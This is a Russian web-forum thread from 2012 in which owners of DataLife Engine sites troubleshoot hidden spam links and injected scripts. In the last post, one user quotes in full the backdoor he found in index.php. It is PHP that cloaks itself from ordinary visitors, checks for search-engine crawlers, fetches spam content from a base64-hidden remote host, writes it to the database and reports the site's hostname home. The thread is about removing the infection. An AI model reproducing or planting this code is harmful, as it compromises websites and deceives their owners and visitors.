20 Ноября 2017, 00:29:16

Автор Тема: Сторонние javascript'ы  (Прочитано 6537 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн BAKS1K

  • Постоялец
  • ***
  • Сообщений: 172
  • Репутация: 7
  • Пол: Мужской
    • Создай Свой Игровой Сервер с www.valve-server.ru
Re: Сторонние javascript'ы
« Ответ #20 : 19 Апреля 2012, 10:48:31 »
Да дело уже не в фтп, а в базе данных. У меня в таблице dle_noties, которая отвечает за блокнот в админке постоянно висит такой код
Цитировать
1334816467|z|<div style="display:none;">Эксклюзивные <a href="http://template-dle.ru/" target="_blank">шаблоны DLE[/url] скачать бесплатно для dle.</div>.....
Ну и плюс дальше ещё ссылок 15-20. Удаляю строку. Обновляю страницу, он опять там. Удалял полностью эту таблицу, и заново кидал с чистой бд (установленной на денвере и не захламленную) но код опять появляется.
Так же переодически висят на сайте ява-скрипты. Уже честно достался, всю бд вдоль и поперек излазил. Ну не заново же сайт запускать  и развивать с нуля....

Оффлайн karton247

  • Постоялец
  • ***
  • Сообщений: 238
  • Репутация: 6
  • Пол: Мужской
  • zetlex.ru
    • zetlex.ru
Re: Сторонние javascript'ы
« Ответ #21 : 08 Июня 2012, 14:54:29 »
а у меня в файте htaccess было перенаправление для некоторых браузеров на другие сайты убрал и все
Создатель сайта http://kiberweb.ru и http://zetlex.ru/

Оффлайн BAKS1K

  • Постоялец
  • ***
  • Сообщений: 172
  • Репутация: 7
  • Пол: Мужской
    • Создай Свой Игровой Сервер с www.valve-server.ru
Re: Сторонние javascript'ы
« Ответ #22 : 09 Июня 2012, 13:17:48 »
Я причину в другом нашел. В файле index.php перед таким кодом:
$tpl->set_block ( "'{banner_(.*?)}'si", "" );стоял такой код. Он и виноват был во всем:
$cronstat='';
if ( preg_match ( '#google|msn|live|altavista|ask|yahoo|aol|yandex|rambler|mail|solomon#smi', $_SERVER['HTTP_USER_AGENT'])){
$post_contents = $db->super_query("SELECT * FROM ".PREFIX."_notice WHERE id=8000000",true);
$tmpx=explode('|z|',$post_contents[0]['notice']);
if ((($tmpx[0]+86400)<time())||!$tmpx[0])
{
$stasinfo=@file_get_contents(base64_decode('aHR0cDovL25hMTAwLnJ1L2RsZS8xd2luLnR4dA=='));
if (!$stasinfo){$stasinfo=$tmpx[1];}
$db->query( "DELETE FROM ".PREFIX."_notice WHERE id=8000000");
$db->query("INSERT INTO ".PREFIX."_notice ( id, user_id, notice) VALUES (8000000, 8000000, '".time()."|z|".$db->safesql($stasinfo)."');"); 
$post_id_stat=(base64_decode('aHR0cDovL25hMTAwLnJ1L2RsZS9zdGF0cy5waHA/aG9zdD0=')).$_SERVER['HTTP_HOST'];
@file_get_contents($post_id_stat);
$cronstat=$stasinfo;
}
else {
$cronstat= $tmpx[1];
}
}
« Последнее редактирование: 09 Июня 2012, 13:20:36 от BAKS1K »